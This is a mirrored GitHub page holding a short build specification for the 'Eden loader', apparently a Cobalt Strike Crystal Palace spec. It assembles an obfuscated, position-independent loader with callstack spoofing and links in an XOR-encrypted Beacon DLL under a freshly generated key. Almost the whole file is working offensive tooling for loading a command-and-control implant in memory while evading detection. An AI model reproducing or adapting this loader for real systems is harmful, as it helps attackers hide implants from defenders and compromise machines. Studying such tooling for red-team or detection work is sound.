mirror of
https://github.com/Cobalt-Strike/eden
synced 2026-06-21 13:42:01 +00:00
William Burgess
36 lines
874 B
RPMSpec
36 lines
874 B
RPMSpec
# some meta-info about our capability
|
|
name "Eden loader"
|
|
describe "A loader which combines Raphael Mudge's pagestream technique with modular callstack spoofing (i.e. draugr)"
|
|
author "William Burgess / @joehowwolf "
|
|
|
|
x64:
|
|
generate $DLLKEY 8192
|
|
generate $XORKEY 16
|
|
|
|
load "bin/loader.x64.o"
|
|
make pic +optimize +disco +mutate
|
|
|
|
load "bin/guardexec.x64.o"
|
|
make object +optimize +disco +mutate
|
|
patch "xorkey" $XORKEY
|
|
import "LoadLibraryA, GetProcAddress, GetModuleHandleA"
|
|
export
|
|
link "guard_exec"
|
|
|
|
load "bin/draugr.x64.o"
|
|
make pic
|
|
export
|
|
preplen
|
|
link "draugr"
|
|
|
|
push $DLL
|
|
xor $DLLKEY
|
|
preplen
|
|
link "beacon"
|
|
|
|
push $DLLKEY
|
|
preplen
|
|
link "key"
|
|
|
|
export
|